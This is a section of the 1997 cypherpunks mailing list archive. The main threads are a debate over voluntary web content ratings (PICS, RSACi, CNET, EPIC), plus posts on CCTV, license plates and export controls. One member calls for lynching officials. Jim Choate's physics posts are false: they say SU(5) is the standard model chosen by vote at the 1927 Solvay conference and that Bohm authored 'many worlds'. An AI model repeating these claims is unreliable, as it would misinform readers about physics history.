what is a legitimate news site; so what? Thats the problem, just who 
will judge who and why should it matter. The concept is absurd and 
repugnant. Marc Rotenburg, a director of EPIC, has emailed you a 
thoughtful response and considering the nature of your factual error 
it would be heartening to see his letter published unedited and in 
full to correct your error.

> filtering software can be used to block any kind of
> content, not just sexually explicit material, and so
> it can end up restricting free speech. These groups

Am I correct in assuming from this that so long as only sexual 
material is blocked this is not restrictive of free speech in your 
view?

> are also fearful that a foreign government could use
> filtering software to control what content its
> citizens can access. These are just a few of the
> thorny issues that the technology introduces.    

Do you feel that if the ratings system becomes widely deployed your 
own government would be above this? What was the nature of the CDA 
that was recently defeated?? Think again.

> Nevertheless, we at CNET feel that content ratings are
> the best alternative, and we'll continue to rate
> ourselves using the RSACi guidelines. But we also feel

Yet you go on to say that you yourself should be subject to less 
onerous ratings due to your self-proclaimed 'news' status. Should we 
introduce all sorts of exemptions to allow art galleries to publish 
their nudes on the net, or photographers to publish similar works of 
art (hint: one mans art is anothers pornography and vice versa), or 
indeed pictures or text describing the massacres in East Timore which 
would be offensive and hurtful to many, not the least of which would 
be members of the Indonesian government; or are such text and images 
only appropriate when found on a self proclaimed 'news' site?

> that different rating systems are necessary to cover
> different types of sites. For example, sites that
> carry news stories cannot be accurately rated under
> the RSACi standards. These were created to allow
> parents to block sites with nudity, sex, violence, and
> offensive language. But what happens when you visit a

Oh I get it, the ratings system is good enough for everyone _else_ 
but not for your own special unique position.

> news site that publishes pictures from a war zone
> depicting death and destruction? Or a legitimate news
> story about an online scam involving pornography

Are only 'news' sites given constitutional protection in the USA?

> sites? Microsoft faces this dilemma: its Internet
> Explorer supports PICS but several of the rating
> systems unintentionally block access to its news site,
> MSNBC.

Prima facia the material must have been offensive under their own
voluntary guidelines; thus it _should_ be censored. Perhaps
self-imposed censorship is running into the same sorts of problems
commonly experienced with government imposed censorship. 

> Because of situations like these, we feel that bona 
> fide news sites should be subject to different 
> criteria. To that end, CNET is also a founding member

No doubt you would.

> of the Internet Content Coalition, which seeks to
> establish ratings for news sites and to make sure that
> only real news organizations claim this privilege.

Looks to me like an attempt to establish your own little power group
to ensure that the rules of censorship you advocate apply to
everyone but yourselves whilst at the same time hypocritically
proclaiming you support censorship based on ratings.

> Users can then choose to allow access to news while
> selecting another rating system like RSACi that
> prohibits access to other kinds of sites. We intend to

...which may carry the very same material you propose to publish 
under your 'special' 'news' category.

> use the Internet Content Coalition's guidelines to
> rate NEWS.COM, while other of our sites, such as
> GAMECENTER.COM, will be rated using more restrictive
> systems.  

How very convenient and cosy for CNET.
 
> The success of any self-rating and filtering system
> depends on how well it works and how it's accepted and
> used. What's your opinion? Do you use filtering

It's a silly idea.

> software? Should news sites have a separate rating?

No and no. 

Should any material I come across be unsuitable for me I find the
'back' button more convenient, easier to set up and allows more
discretion.

> Email me and I'll put the responses in my next column.

Look forward to seeing my comments up there.
 
> Christopher Barr is editor in chief of CNET.

Once you start advocating exceptions to the very censorship (oops I
mean ratings) system you advocate your going to run into all sorts of
problems. From your perspective you see 'legitimate news sites'
(whatever that is supposed to mean..is CNET as _legitimate_ as say
TIME; I hardly think so. If you succeed in establishing this you'll
be squashed by the big boys as being illegitimate and new players to
the news game will never get a look in as a 'legitimate news site')
others will see their own equally worthy interests, perhaps more
worthy in the opinion of some, as exceptions to the general rule eg.
art galleries, womens sexuality and health centres, moslems offended
by christianity, Palestinians offended by Jews, homosexual sites,
family planning sites etc etc etc. They all will have valid
arguments why they should be allowed to promulgate certain material
if you accept that news sites have a valid argument why the full
effect of voluntary censorship ratings should not be applied.

I once had sympathy for voluntary ratings. I can respect your 
position somewhat if the ratings are applied _consistently_. That 
means no exceptions. Exceptions based on utility raises all sorts of 
difficulties and really just points out how silly the whole idea is 
in the first place. If, however, you favour such a system go ahead but 
please don't advocate that different rules should be applied to 
different people or organizations. My concerns with voluntary ratings 
are:

1. that they be truly voluntary with _no_, I'll say that again NO 
coercive power applied to enforce such ratings.

2. the net community, by developing and deploying this software and 
ratings system is handing governments around the world a means to 
censor the net. All they need do once such a system becomes widely 
deployed is step in and pass laws that make it _mandatory_ not 
voluntary. We see such a proposal already here in Australia where it 
is proposed ISP s be subject to massive fines for the content carried 
over the wires unless it can be shown, to the satisfaction of a 
government authority, they did their utmost to prevent certain 
content (ie impose a mandatory voluntary ratings system). This plays 
right into the hands of the government censors who would dismally 
fail to censor the net unless we, as net users, developers etc, hand 
them the solution on a plate.

3. to be consistent you should advocate voluntary ratings for books,
libraries, magazines, newsletters, news papers, billboards,
unsolicited snail mail, government pamphlets etc. I note here the
American Libraries opposition to filtering software and the
violation of the 1st amendment that would probably occur through the
use of such filtering in libraries and some other sites.

This brings to mind another question. What enforcement procedures
do you have in mind where a site claims to be a legitimate news site
under your proposed scheme but your group thinks it is clearly not?

Just who is going to decide what is legitimate and what is not?

Seems to me this has not been very clearly thought through; or 
perhaps it has been clearly thought through and you just want to 
censor everyone else but yourself and your buddies.

I give your article 1 out of 10. Resubmit something better 
researched.
-- 
   .////.   .//    Charles Senescall             apache@quux.apana.org.au
 o:::::::::///     apache@bear.apana.org.au  apache@gargoyle.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 25 Jul 1997 09:11:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Spreading Technology (fwd)
In-Reply-To: <199707242319.SAA03028@einstein.ssz.com>
Message-ID: <19970725010517.15644.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate <ravage@ssz.com> writes:

 > The SU(5) theory was arrived at by political contrivance in
 > 1927 when the Solvay Conference was called to resolve the
 > various theories that happened to be flying fast and furious
 > at the time, instigated by DeBroglie.

Excuse me?  SU(5) is a supersymmetric theory.  I seriously doubt
it made its appearance in 1927.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 25 Jul 1997 09:23:37 +0800
To: Declan McCullagh <rotenberg@epic.org>
Subject: Re: EPIC letter to CNET.COM and the Internet Community (fwd)
In-Reply-To: <Pine.LNX.3.95.970723215720.11839A-100000@vorlon.mit.edu>
Message-ID: <199707250110.SAA13144@netcom4.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




the EPIC letter shows a rather severe misunderstanding of
what many interenet ratings systems are intended to accomplish.
I've written on this subject here and will rebut some of the
claims of the EPIC letter by Marc Rotenberg. (keep in mind,
as you read the following, I am violently opposed to *involuntary* 
rating systems.)

*voluntary* rating systems are in fact another glorious expression of 
free speech, and anyone who advocates free speech will find
themselves in a paradoxically inconsistent point of view
in rejecting such systems.  just as anyone should be free to 
disseminate information,  anyone should be free to comment on
that information. ratings are nothing but "information about 
information" and anyone who claims otherwise would be like someone
arguing for the existence of "illegal bits", as TCM lovingly likes
to call them. amusingly, I have seen TCM argue against voluntary rating
systems here, making the distinction that they are not free speech
but the road to ruin.

PICs was designed from the beginning to be voluntary, and support
voluntary ratings. how is a company that tells you what are some
"hot web pages" different from one that tells you about ones that
are "offensive to children"? there are many of the former that
I've never seen any cypherpunks argue against. surely EPIC would
consider them a good idea. why are the latter a bad idea? what's
the difference between these "good bits" and "bad bits"? answer:
there is none, except in the minds of people who have kneejerk
opinions but not deeply thoughtful insights.

the argument that voluntary rating systems can be quickly
turned into an involuntary one is specious. it's like saying that
if some people are allowed to public fascist magazines, we're
in danger of turning into a fascist country. obviously it's the
same argument the government scaremongers make against free speech.

cypherpunks like to talk about "technical solutions" to problems.
I would like them to begin to understand that a means by which
public opinion is altered is in fact in many cases the only 
possible "technical solution" to some problems. I submit that no amount of 
ingenuity in technical solutions can circumvent a government
or majority of the population that is opposed to your endeavor.
the solution is in part to change public consciousness.  and
to give credit where it is due, the cpunks have done a very 
admirable job of this through the mailing list.

hence, if we have a government that is trying to make voluntary
things mandatory (such as ratings), and clamp down 
on the public, don't you think
you're evading the whole issue by trying to find more ingenious
ways to hide? you're evading the basic question, which is, 
why did the government become like that? why have you accepted
the questionable conclusion that it cannot be changed? do you
think perhaps it became that way because of that opinion? which
came first, the apathy or the tyranny? the lines blur, don't you
think?

if other governments are going to use PICs to manipulate their
public, than is the problem PICs or the governments that are
in that situation? do you think that getting rid of PICs is going
to solve the problem of bad governments? answer: no!! you can
get rid of every opportunity for what you think is a bad government
to exercise its badness, and it will find some ingenious new
way of being bad!! the answer is to fix the government, not to try
to change the ten-bazillion different things it may get its hands onto. one 
problem, one solution.

on to the letter...

>I want to be clear that EPIC, both a plaintiff and counsel in
>the challenge to the Communications Decency Act, does not support
>the use of blocking software in principle or practice. We do not
>support rating systems for the following reasons.
>
>First, we believe that the fundamental purpose of a rating system
>-- to allow one person to decide what information another person
>may receive -- is contrary to the character of the Internet and
>the principles of openness and individuality found in a free society.

a silly restatement of what rating systems do. what mr. rotenberg
fails to note is the obvious distinction between a voluntary and
an involuntary rating system. only the later have the property that
"one person can decide what another can recieve". in fact all rating
systems in existence today are voluntary and merely *advisory*.
they are just *opinions* that people can choose to follow.

>Unlike search engines that allow individuals to select information
>based on their preferences and desires, rating systems impose one
>person's or one organization's viewpoint on another. 

so does a NEWSPAPER!!! perhaps we should ban them!! or is it that
they don't really "impose" anything???

>Such techniques
>could be used as easily by governments against citizens and employers
>against employees as they could by parents against children, as was
>made clear by one of the PICS creators in an early paper on the
>topic.

the government could also use duct tape to suffocate its citizens.
perhaps we should outlaw duct tape? because it has the potential
to be misused by governments?

>Second, we have already seen rating systems used to block access to
>information that could in no reasonable way be considered indecent.

FALSE. these rating systems block access to information when people
volunteer to use the databases. presumably, they SUBSCRIBED TO THOSE
BLOCKING SERVICES FOR EXACTLY THAT SERVICE, I.E. BLOCKING. if I 
subscribed to a blocking service, I would certainly expect that
they did block some sites, wouldn't you? your fuzzy brained thinking
fails to distinguish again between voluntary and involuntary, 
Mr. R...

>Rating systems have blocked access to political organizations,
>medical information, and unpopular viewpoints. In public libraries
>and public schools such techniques violate well established First
>Amendment freedoms. Such products should be roundly criticized by
>Internet publishers, not endorsed.

misleading use of the word "block".  when people stop using the
word "block" in a context where it is clearly not applicable
we'll all be better off. suppose I say to my butler, "please stop
me from eating greasy food" and he stops me. was that involuntary?
did he "block" me against my will?

>Third, we believe that over time rating systes are likely to make it
>easier -- not more difficult -- for governments around the world to
>enforce content-based controls on Internet content. This process is
>already underway in many countries which are now considering
>PICS-based schemes to implement national content controls.

many countries are now considering the best ways to torture their
subjects with rubber hose. perhaps we should regulate rubber hoses
this moment.

 Further,
>our reading of the Supreme Court's opinion in Reno V. ACLU is that
>content based controls would be upheld in the US once rating
>systems and means for age verification and widely available. It
>was the nature of the Internet, and not the availability of rating
>systems, that produced the wonderful outcome in that case. But
>once voluntary standards are in place, statutory controls will
>surely follow.

bzzzzzzzzzzt, only if we have an orwellian government, in which case
you will have much worse things to worry about than a silly PICs
standard. technology is not the problem, but governments who misuse
it. no amount of ingenuity in technology 
will protect you from a bad government. fix the government!!

a flimsily-put-together letter, Mr. R, quite a disappointment.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 25 Jul 1997 07:33:37 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Spreading Technology (fwd)
Message-ID: <199707242319.SAA03028@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Spreading Technology
> From: shadow@krypton.rain.com (Leonard Erickson)
> Date: Thu, 24 Jul 1997 00:23:37 PST

> >>What did Einstein say? "God does not play dice with the Universe"?

> > This comment was made in reference to the Uncertainty Principle and
> > Einstein's perception of the indeterminancy of quantum mechanics. He
> > supposedly said it so many times that Neils Bohr, who was more
> > philosophically inclined to accept the contradictions in modern physics
> > than Einstein, once became so exasperated that he admonished Einstein to
> > "stop telling God what to do!"
> 
> And after the experiments that pretty much killed the "hidden
> variables" interpretation, one physicist reportedly commented "Not only
> does God play dice, he sometimes throws the dice where they can't be
> seen."

Bohr's objection was one of religion, not reality. His objection was one of
familiarity breeding contempt of God.

It was Stephen Hawking who made the quip about not seeing the dice.

The SU(5) theory was arrived at by political contrivance in 1927 when the
Solvay Conference was called to resolve the various theories that happened
to be flying fast and furious at the time, instigated by DeBroglie. Because
several of these theories were completely in agreement with experiment it was
becoming impossible to make progress because of all the possibilities. The
question asked was "what theory shows the most promise for continued research
and acceptance of requests for operating capital." The SU(5) was arrived at
by majority vote and not experimental verification.

Einstein's objection to the Uncertainty Principle was the same as David
Bohm's. In fact most physicists at the time were opposed to it, the famous 
Schroedinger Cat was meant to be an objection to the theory and in
particular to show how unrealistic it was. If you happen to be willing to do
away with the standard SU(5) theory then the Uncertainty Principle goes away,
a good example is to look at David Bohms 'many worlds' theory as it has no
uncertainty principle involved. Bohm was black-balled by the conventional
physics community because he would not accept the SU(5) even in principle. It
has only been in the last 15 years or so that serious review of Bohm's work
has taken place. Alfven and others have used it and other approaches to bring
many of the basic tenets of the SU(5) and the Big Bang into question.

Interesting aspect is even his most strident opponents admitted their
objection to his theories were based on emotion and mental attitudes and not
on any failure regarding experimental verification. He was and is considered
one of the greatest modern physicists, on a par with Einstein and et ali.

You might check out David Bohm's last book before he died,

The Undivided Universe: An ontological interpretation of quantum theory
D.Bohm, B.J. Hiley
ISBN 0-415-06588-7

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 25 Jul 1997 07:34:04 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Spreading Technology - Ooops
Message-ID: <199707242320.SAA03064@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Sorry, that comment about David Bohm was not meant for this list.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 25 Jul 1997 09:47:55 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: CCTV Cameras in Britain
In-Reply-To: <19970715183341.01502@bywater.songbird.com>
Message-ID: <Pine.LNX.3.95.970724184031.273B-100000@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 15 Jul 1997, Kent Crispin wrote:
> On Tue, Jul 15, 1997 at 05:43:59PM -0700, Steve Schear wrote:
> [.deleted.]
> > I wouldn't.  Its the state's duty to protect my liberties and if they can't
> > or won't the obligation falls on me.
> > The product of liberty and security is a constant.
> This is obviously false.  Zero liberty and zero security is a quite
> possible situation (laying strapped to the table, waiting for your 
> lethal injection, for example), as is some liberty and some security (the 
> normal situation).

	I would say that in the above situation, one is rather well 
secured...


Petro, Christopher C.
petro@suba.com <prefered for any non-list stuff>
snow@smoke.suba.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 25 Jul 1997 13:03:28 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <199707231815.UAA09529@basement.replay.com>
Message-ID: <3.0.2.32.19970724185429.00772da4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:34 AM 7/24/97 -0700, Kent Crispin wrote:
>On Wed, Jul 23, 1997 at 01:59:00PM -0700, Bill Stewart wrote:
>[...]
>> And, yes, all of this privacy loss happens because somebody decided
>> it was convenient to put a car-ownership-tax receipt on the outside
>> of a car so police can quickly decide if you've paid your taxes...
>> The rest of it's just implementation details.
>
>Of course, you could just confine your driving to private roads, and
>leave the license plate off. 

If the government wants to take over all the public commons right-of-way
and pave it for roads, I'm not saying I'm not willing to pay them
for the use of all their nice concrete and asphalt*, though 
government-built roads have led to a whole lot of ecological and social
problems that are far more severe than those a free-market road system
would have given us; free-marketers without eminent domain would have
built fewer roads in generally more efficient places because they'd need 
to make money on each one, though eminent domain may be enough of a 
cost-saver to make up for lower efficiency, and housing and business 
development would have organized more compactly around the roads and
railroads that did get built, allowing less car use.

But the government could have given us all license plates that say 
[StateName][Year] in big letters and the tax receipt in small letters
instead of [CarIdentifier][StateColor] in big and [Year][Receipt#] in small 
like most states do today or [CarIdentifier] in big letters on the back
and [InspectionMonth][YearColor] on the windshield like New Jersey does.
Somehow cops manage to zing people for late car tax payment anyway,
and somehow tax collectors manage to collect taxes on real estate
(which doesn't move, but has owners that do) and wages (paid by often-
mobile businesses to often-mobile workers) and sales well enough without
requiring big taxpayer id# signs on houses, wallets, and merchandise.
And somehow before the automobile we got by without license plates on
horses and buggies and cows, though some people branded their horses or 
cows or painted their names on buggies without the law requiring it
so they could demonstrate ownership if there was a dispute.

The choice to require easy-to-use-rapidly unique identifiers or not 
affects the kinds of transactions that can be done with them.
License plate numbers are primarily useful for social control,
though they're occasionally useful for recovering stolen cars
(if the thieves didn't use fake plates) or following slow white Broncos.
As computers and radio communications increase the speed and 
flexibility of transactions, there are more ways to use them
(cops can look up license plates any time they stop cars, allowing them
to identify dangerous criminals who are too dumb to use fake plates)
mostly for social control, but also to enforce tax collection.

They also make it easier to charge for transactions such as
bridge and freeway use - but they bias the economics towards an
account-based system (since you've got an existing key)
rather than a pay-as-you-go system (like subway tokens or turnpike tolls)
or a pay-by-the-month system (like many transit systems offer,
even for systems like BART and CalTrain that are well equipped for
distance-based billing and some bridge tolls.)  Changing the
transaction costs changes the possible relationships between
supplier and customer, and if the government wants to use them
for social control, some of those relationships make it easier.

[*There are people who refuse to get car license plates and
driver's licenses and marriage licenses and pay taxes on principle, and 
they spend a lot of time arguing common law to judges and cops.
I'm not one of them - as George Gordon says, if you're not having fun
doing this kind of thing, you shouldn't be wasting your time doing it,
and you also risk losing and setting bad precedents.  Our buddy Jim
Bell may or may not agree by this point in time....]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 25 Jul 1997 07:58:17 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Spreading Technology - Ooops
In-Reply-To: <199707242320.SAA03064@einstein.ssz.com>
Message-ID: <199707242352.SAA12176@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199707242320.SAA03064@einstein.ssz.com>, on 07/24/97 
   at 06:20 PM, Jim Choate <ravage@ssz.com> said:

>Hi,

>Sorry, that comment about David Bohm was not meant for this list.

That's ok Jim it was more intresting that 75% of what has been on the list
lately.

PS: I am going to Amazon.com to see if they have Bohm's book there.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM9fdXI9Co1n+aLhhAQFhhwP/VS89qqKqUV0a43OV2YH/YlpNnN9zMs5S
M6rIFaHb0Qbccj1jpUaS4Yt8MLgX+TX+eeq4dM6JZvgxDo0sYDojX7V6Cco5MPiQ
RRbN6zEqED1qqBo7YzxAJKuRcs4+GCnRnKvPxBfbrhAW7buWv/BEtX37SWrEGw0X
qoQP3SmjWis=
=Y+H4
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 25 Jul 1997 10:06:04 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: "The Failure to Do Your Job" amendment (was Re: White House ...)
In-Reply-To: <199707162038.PAA26641@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.95.970724185832.273C-100000@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 16 Jul 1997, William H. Geiger III wrote:
> Any elected official or govenment employee found to have willfuly violated
> the Constitution of the United States of America should be draged to the
> capitol steps and promptly lynched.

	Then you'd have to lynch those that did the dragging and lynching 
as each induhvidual has the constitutional right to a trial.

Petro, Christopher C.
petro@smoke.suba.com <prefered for any non-list stuff>
snow@smoke.suba.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 25 Jul 1997 07:22:20 +0800
To: cypherpunks@toad.com
Subject: "Who the hell are CNET?"
Message-ID: <Pine.LNX.3.95.970724190654.22732I-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 24 Jul 1997 16:04:16 -0700
From: Rose Aguilar <rosea@cnet.com>
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Cc: chris_barr@cnet.com, fight-censorship@vorlon.mit.edu
Subject: "Who the hell are CNET?"

For the company explanation go to:
http://www.cnet.com/Community/Welcome/About/profile.html

Here's my explanation:

CNET doesn't compare itself to Microsoft, IBM, or MCI.  Do you categorize a
"significant industry player" based on its household name and revenue status?

CNET has a variety of services...we have 10 Web sites and 4 TV shows...each
one has a different goal.

CNET doesn't "speak" for the whole Net community.  That's not our goal.
Our goal is to _provide_ the Net community with various services whether it
be reviews, news, TV shows, or commentaries, all of which focus on
technology and the Net.  That might not be significant to you Phil, but it
is to the million+ who use our services.  

Netizens may not always agree with CNET's stories, reviews, or
commentaries...and we welcome opinions.  You know the saying: "Negative
feedback is better than no feedback."

Hope this answers your question.

--Rose


At 01:29 PM 7/24/97 -0400, Phillip M. Hallam-Baker wrote:
> I've been wondering for some time. Who the hell are CNET?
>
>I've never heard of them doing anything significant and I have not heard
>of them in relation to any significant industry player. They are not
>Microsoft, not IBM, not MCI.
>
>There is a problem, too many people the idea that they are speaking for
>the whole net community.  Too many people think that because they have
>made a paper fortune from the chumps who invest in the stock market that
>they are somehow important.
>
>        Phill
>
>
>
>
>
>
>
***************************
Rose Aguilar
CNET Radio Reporter/Producer 
150 Chestnut St.
San Francisco, CA  94111 
415/395-7800 X 1227
Fax: 415/395-7815
http://www.radio.com/
***************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 25 Jul 1997 11:12:03 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Our basic rights are not to be traded away for exports
In-Reply-To: <v03102800aff485c28d86@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.970724200344.273F-100000@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Tim May wrote:
> At 6:43 PM -0700 7/17/97, Declan McCullagh wrote:
> >We need the administration to do one thing: lift export controls.
> >Then it and Congress should forget all about the Net.
> >-Declan
> I don't think it is going to do that. Unless it gets something _major_ in
> return, as part of a deal.

	Like...Their lives & jobs? 

> And given the choice between liberty and a lifting of export restrictions,
> I know which side I support. No doubt about it.

Petro, Christopher C.
petro@smoke.suba.com <prefered for any non-list stuff>
snow@smoke.suba.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 25 Jul 1997 11:22:18 +0800
To: Tim May <tcmay@got.net>
Subject: Re: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <v03102802aff4a4a9d00a@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.970724201423.273G-100000@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Tim May wrote:
> - I rather suspect that all of the employees of C2Net, surely a
> "Cypherpunks company" if ever there were one, mundanely receive their W-2s
> and file diligently. (Actually, the odds are that some of them are already
> delinquent on filing, but the point remains valid.)

	Having done a little graphics work for them last year I can attest
to the fact that they sent me a 1099.

Petro, Christopher C.
snow@smoke.suba.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 25 Jul 1997 12:16:35 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.LNX.3.95.970718201810.14227A-100000@www.ctrl-alt-del.com>
Message-ID: <Pine.LNX.3.95.970724203416.273H-100000@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 18 Jul 1997, Alan wrote:
> On Fri, 18 Jul 1997, Tim May wrote:
> > At 3:56 PM -0700 7/18/97, Alan wrote:
> > >I recieved this today via e-mail.  I find it strange since I have never
> > >asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> > >my Cypherpunks mail shows up at a different address.
> > What makes you think the "interest" is your interest in them?
> > It's _their_ interest in _you_.
> Yes.  It looks like every e-mail address on Jim Bell's computer got this
> nice little "warning/example".

	I recieved this as well. 

> Where is Declan when you need him. ]:>

	I wonder if he got it. 

	Seems to me, this is a warning. 

	The Gooberment is warning us that they are watching us, and 
They are NOT PLEASED. 

	Assholes. They are supposed to be working FOR US.

> impresive logs as to sender's identity.  It does not look like a spoof,
> unless they hacked behind the IRS firewall.)

	Wanna bet on how secure that firewall is? 

Petro, Christopher C..
snow@smoke.suba.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 25 Jul 1997 10:51:06 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Spreading Technology (fwd)
Message-ID: <199707250235.VAA03381@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Spreading Technology (fwd)
> Date: Thu, 24 Jul 1997 18:05:17 -0700 (PDT)
> From: Mike Duvos <enoch@zipcon.net>

>  > The SU(5) theory was arrived at by political contrivance in
>  > 1927 when the Solvay Conference was called to resolve the
>  > various theories that happened to be flying fast and furious
>  > at the time, instigated by DeBroglie.

> Excuse me?  SU(5) is a supersymmetric theory.  I seriously doubt
> it made its appearance in 1927.

I didn't say it did, I said the conference which decided what would end up
being the 'standard model' was decided in 1927. I further thought it was
interesting that the deciding factor was how the participants FELT about the
various theories and on NO theoretical or experimental evidence whatsoever.

The fact that I used the SU() symbology is a reflection of my thinking and
not history. When I took Engineering Physics from Sudarshin at UT in '82
that was what he used because he worked in particle physics. You are of
course free to use whatever symbology you feel comfortable with.

SU() is the symbology used by physicist as an extension of group
theory's U() symbology. The number in the () represents the number of
indipendant variables in the model and tells the researcher how many rows
and columns they need in their representative matrix.

SU(5) is the symbology used for the standard model of quantum mechanics.
SU(22), for example, is the commen "Super-string" theory that was of such
popularity a few years ago.

Glashow & Georgi developed the standard model representation in terms of
SU() in 1973. It has become the standard representation via group theories
for the standard model since then.

Bottem line, all cosmological theories that I am aware of can be mapped onto
SU() models. This is the power of this symbology in manipulating the models.

For those interested you should check out:

Particle Physics in the Cosmos: Readings from Scientific American
ISBN 0-7167-1919-3
$9.95

Pay particular attention to the explanation in Chpt. 4 (written by Georgi)
around pp. 69.

Particles and Forces: At the Heart of the Matter: Readings from Scientific
American
ISBN 0-7167-2070-1
$11.95

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 25 Jul 1997 11:25:15 +0800
To: cypherpunks@ssz.com
Subject: http:--cnnfn.com-hotstories-washun-wires-9707-24-fcc_wg-
Message-ID: <199707250312.WAA03562@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   
   
   Help for your desk so that it is no longer flooded with calls with the
   new HP Vectra PCs. [INLINE] Washington Unwrapped graphic 
   New FCC chief to be named
   
   
   Kennard expected to get post, but choice has irritated Sen. Hollings
   
   July 24, 1997: 6:49 p.m. ET
   
   
   [LINK] 
   [INLINE] 
   
   
   Hundt sees book in future - June 2, 1997
   
   
   FCC Chairman steps down - May 27, 1997
   
   [INLINE]
   
   Federal Communications Commission
   Infoseek search 
   __________
   ____  ____
   WASHINGTON (CNNfn) - President Clinton has settled on William Kennard
   to be his choice to become the next chairman of the Federal
   Communications Commission, well-placed Administration officials tell
